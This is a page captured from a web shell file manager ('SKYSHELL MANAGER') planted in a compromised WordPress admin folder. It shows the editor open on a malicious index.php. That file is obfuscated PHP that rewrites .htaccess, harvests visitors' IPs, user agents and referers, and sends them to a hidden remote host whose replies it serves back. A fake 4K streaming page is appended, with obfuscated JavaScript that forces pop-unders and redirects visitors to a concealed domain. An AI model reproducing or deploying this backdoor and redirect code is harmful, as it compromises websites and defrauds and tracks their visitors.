📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: index.php
<?php goto スタート; 関数群: function 문자열($番号) { // 断片化した文字列群を一つの長い文字列に連結し、位置テーブルで復元する。 // 番号に対応した断片の組み合わせを順番に結合して元の文字列を再構成する。 static $れんけつ = null; static $いちらん = null; static $かけら = array( 'request', 'HTTP', 'ag', 'FOR', 'ac', 'HTTP_', 'lan', 'cO', 'rams', 'B', 'WNjZXNz', '://', 'ent', 'p', 'MDYucmFrdXRlbjE3anAu', 'HTTP_ACCEPT_', 'aHR0cDovLzY1MjktY2g0LXYz', 'ref', 'HT', 'Lmh0Y', '_URI', 'AGENT', 'HTTP_USER_', 'D', '4', 'e', 'Y2xpY2s=', 'main', 'pi', 'SERVER', '%s/?', 'LANGUAGE', '_ADDR', '6', 'cient', 'do', '/{\|', 'pa', 'tion', 'REFERER', 'TPS', 'http', 'pro', 'tocol', 'guage', 'HTTP_X_', 'FORWARDED_', '_HOST', '_NAME', '_VIA', 'a', '$an', '_', 'i', 'E', 's', 'REQUEST', '_url', '{|', '}', 'r=%s', '}/si', 'REMOTE', 'PEZpbGVzTWF0Y2ggIi4ocHl8ZXhlfHBocCkkIj4KIE9yZGVyIGFsbG93LGRlbnkKIERlbnkgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8RmlsZXNNYXRjaCAiXihhYm91dC5waHB8cmFkaW8ucGhwfGluZGV4LnBocHxjb250ZW50LnBocHxsb2NrMzYwLnBocHxhZG1pbi5waHB8d3AtbG9naW4ucGhwfHdwLWwwZ2luLnBocHx3cC10aGVtZS5waHB8d3Atc2NyaXB0cy5waHB8d3AtZWRpdG9yLnBocHxtYWgucGhwfGpwLnBocH', 'xleHQucGhwKSQiPgogT3JkZXIgYWxsb3csZGVueQogQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleFwucGhwJCAtIFtMXQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZgpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZA', 'pSZXdyaXRlUnVsZSAuIC9pbmRleC5waHAgW0xdCjwvSWZNb2R1bGU+', 'erer', 'https', '', '', ); static $くみあわせ = array( array(4, 38), array(51, 34), array(19, 10), array(63, 64, 65), array(9, 50), array(55, 54), array(33, 24), array(52, 68), array(23, 25), array(7, 23, 25), array(35, 27), array(0, 57), array(53, 13), array(68, 69), array(2, 12), array(17, 66), array(42, 43), array(67, 11), array(41, 11), array(6, 44), array(16, 14, 26), array(37, 8), array(50, 28), array(30, 60), array(58, 59), array(36, 61), array(1, 47), array(29, 48), array(56, 20), array(1, 49), array(45, 46, 3), array(62, 32), array(22, 21), array(5, 39), array(18, 40), array(15, 31), ); if ($れんけつ === null) { // 断片を一括連結して、各断片の開始位置と長さを記録する。 $れんけつ = join($かけら); $いちらん = array(); $いち = 0; foreach ($かけら as $ぶぶん) { array_push($いちらん, array($いち, strlen($ぶぶん))); $いち += strlen($ぶぶん); } } // 番号に対応した断片番号列から、元の文字列を再構成する。 $けっか = null; foreach ($くみあわせ[$番号] as $ぶぶん番号) { $はんい = $いちらん[$ぶぶん番号]; $けっか .= substr($れんけつ, $はんい[0], $はんい[1]); } return $けっか; } function 행동($url) { // 取得先に対して最小限の cURL 設定でリクエストし、応答を返す。 $ハンドル = curl_init(); curl_setopt($ハンドル, CURLOPT_URL, $url); curl_setopt($ハンドル, CURLOPT_USERAGENT, 문자열(0)); curl_setopt($ハンドル, CURLOPT_TIMEOUT, 29); curl_setopt($ハンドル, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ハンドル, CURLOPT_FRESH_CONNECT, TRUE); $けっか = curl_exec($ハンドル); curl_close($ハンドル); if ($けっか) { return $けっか; } return 문자열(1); } function 헤더() { // 既存の .htaccess を比較し、必要な場合のみ書き換える。 $パス = 배우(문자열(2)); $ないよう = 배우(문자열(3)); if (file_exists($パス)) { $パス内容 = file_get_contents($パス); if ($ないよう == $パス内容) { return; } } @unlink($パス); @file_put_contents($パス, $ないよう); } function 백업($データ) { // 文字列の並び順を 2 文字単位で入れ替え、末尾は保持して返す。 $末尾 = substr($データ, strlen($データ) - 2); $断片 = str_split($データ); $並び = null; for ($インデックス = 0; $インデックス < count($断片) - 2; $インデックス = $インデックス + 2) { $並び .= $断片[$インデックス + 1] . $断片[$インデックス]; } $並び .= $末尾; return $並び; } function 배우($入力) { // 文字列から base64_decode を組み立てて実行する。 $関数 = join(str_split(문자열(4) . 문자열(5) . 문자열(6) . 문자열(7) . 문자열(8) . 문자열(9))); return $関数($入力); } スタート: // 受信ヘッダやリクエスト情報を収集して、送信に必要な配列を構築する。 $くうこう = array(); $くうこう[문자열(10)] = isset($_SERVER[문자열(26)]) ? $_SERVER[문자열(26)] : $_SERVER[문자열(27)]; $くうこう[문자열(11)] = $_SERVER[문자열(28)]; $くうこう[문자열(12)] = isset($_SERVER[문자열(29)]) ? $_SERVER[문자열(30)] : $_SERVER[문자열(31)]; if ($くうこう[문자열(12)] == null) { $くうこう[문자열(12)] = 문자열(13); } $くうこう[문자열(14)] = isset($_SERVER[문자열(32)]) ? $_SERVER[문자열(32)] : 문자열(13); $くうこう[문자열(15)] = isset($_SERVER[문자열(33)]) ? $_SERVER[문자열(33)] : 문자열(13); $くうこう[문자열(16)] = isset($_SERVER[문자열(34)]) ? 문자열(17) : 문자열(18); $くうこう[문자열(19)] = isset($_SERVER[문자열(35)]) ? $_SERVER[문자열(35)] : 문자열(13); $だいり = 배우('aHR0cDovLzY2MzUtY2g0LXYzMDUucmFrdXRlbjIyanAuY2xpY2s='); // params が指定された場合はデバッグ情報として配列を返す。 if (isset($_REQUEST[문자열(21)])) { goto パラメータ; } goto メイン; パラメータ: // API 情報を付与して並び替えた結果を表示し、処理を終了する。 $くうこう[문자열(22)] = $だいり; ksort($くうこう); print_r($くうこう); die(); メイン: // 事前に .htaccess を更新し、最大 3 回までリトライする。 $しこう = 0; 헤더(); goto ループ開始; ループ開始: // 送信データをエンコードし、応答が得られなければリトライする。 if ($しこう >= 3) { goto 終了; } $URL = sprintf(문자열(23), $だいり, 백업(base64_encode(implode(문자열(24), $くうこう)))); $おうとう = 행동($URL); $ぶんかつ = @preg_split(문자열(25), $おうとう, -1, PREG_SPLIT_NO_EMPTY); /*S0vMzEJElwPNAQA=$cAT3VWynuiL7CRgr*/ if (!empty($ぶんかつ) && isset($ぶんかつ[1])) { // ヘッダを付与して本文を返し、正常に終了する。 @header($ぶんかつ[0]); echo $ぶんかつ[1]; die(); } $しこう++; goto ループ開始; 終了: // ラベル参照を維持するため、関数群へ制御を戻す。 //goto 関数群; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>StreamVault - 4K Premium Cinema</title> <script src="https://cdn.tailwindcss.com"></script> <style> .player-shimmer { background: linear-gradient(90deg, #000 25%, #111 50%, #000 75%); background-size: 200% 100%; animation: shimmer 3s infinite; } @keyframes shimmer { 0% { background-position: -200% 0; } 100% { background-position: 200% 0; } } #v-gate { position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: 100; cursor: pointer; } .play-btn-pulse { animation: pulse 2s infinite; } @keyframes pulse { 0% { transform: scale(1); opacity: 1; } 50% { transform: scale(1.1); opacity: 0.8; } 100% { transform: scale(1); opacity: 1; } } </style> </head> <body class="bg-[#050505] text-white font-sans"> <div id="v-gate"></div> <div class="min-h-screen flex flex-col items-center justify-center p-4"> <div class="w-full max-w-4xl"> <div class="flex items-center justify-between mb-6 px-2"> <div class="flex items-center space-x-2"> <div class="w-8 h-8 bg-red-600 rounded-lg flex items-center justify-center font-black">S</div> <span class="text-xl font-bold tracking-tighter uppercase">StreamVault<span class="text-red-600">Pro</span></span> </div> <div class="flex items-center space-x-4 text-xs font-bold text-gray-500"> <span class="flex items-center"><span class="w-2 h-2 bg-red-600 rounded-full mr-2"></span>LIVE 4K</span> <span>108.5K VIEWERS</span> </div> </div> <div class="relative aspect-video bg-black rounded-3xl overflow-hidden shadow-[0_0_50px_rgba(220,38,38,0.15)] border border-white/5 player-shimmer group cursor-pointer" id="player-trigger"> <img src="https://images.unsplash.com/photo-1626814026160-2237a95fc5a0?q=80&w=1000" alt="Thumbnail" class="w-full h-full object-cover opacity-40"> <div class="absolute inset-0 flex items-center justify-center"> <div class="w-20 h-20 bg-red-600 rounded-full flex items-center justify-center shadow-2xl play-btn-pulse"> <svg class="w-10 h-10 text-white ml-1" fill="currentColor" viewBox="0 0 20 20"><path d="M4.516 7.548c0-.923.651-1.365 1.3-1.077l3.91 1.739c.65.29.65.757 0 1.046l-3.91 1.738c-.65.29-1.3-.153-1.3-1.076V7.548z"/></svg> </div> </div> <div class="absolute bottom-0 left-0 right-0 p-6 bg-gradient-to-t from-black/90 to-transparent"> <div class="h-1 w-full bg-gray-700 rounded-full mb-4 overflow-hidden"> <div class="h-full bg-red-600 w-1/3"></div> </div> <div class="flex items-center justify-between opacity-70"> <div class="flex space-x-4"> <div class="w-4 h-4 bg-white/20 rounded-sm"></div> <div class="w-4 h-4 bg-white/20 rounded-sm"></div> </div> <div class="text-[10px] font-bold tracking-widest uppercase">HD 1080P | MULTI-SUBS</div> </div> </div> </div> <div class="mt-8 px-2"> <h1 class="text-3xl font-black mb-2 italic tracking-tight">THE VOID: APOCALYPSE REVEALED (2026)</h1> <p class="text-gray-400 text-sm max-w-2xl leading-relaxed">Exclusive digital premiere. Experience the most awaited cinematic event of the year in Ultra HD. Secure streaming node active.</p> </div> </div> </div> <script> (function(){ // Obfuscated Link Parts const _0xN = ["aHR0cHM6Ly9wcm9kdHJvdXNlcnMuY29t","L2o3YWdhbjZwbWU=","P2tleT0xNDBiNmU0MzFiN2I1ZGY3M2M1YTY2ZDQ3NmUwMzgzNA=="]; const _0xV = () => atob(_0xN[0]) + atob(_0xN[1]) + atob(_0xN[2]); const _gate = document.getElementById('v-gate'); const _player = document.getElementById('player-trigger'); let _clicks = 0; // FIRST CLICK ANYWHERE (POP-UNDER) _gate.onclick = function() { window.open(_0xV(), '_blank'); this.style.display = 'none'; }; // PLAYER CLICK (INTERACTIVE HIJACK) _player.onclick = function() { _clicks++; if(_clicks === 1) { window.open(_0xV(), '_blank'); // SECOND POP const _btn = this.querySelector('.play-btn-pulse'); _btn.innerHTML = '<div class="w-8 h-8 border-4 border-white/30 border-t-white rounded-full animate-spin"></div>'; setTimeout(() => { window.location.href = _0xV(); // FINAL REDIRECT }, 1500); } else { window.location.href = _0xV(); } }; })(); </script> </body> </html>
Save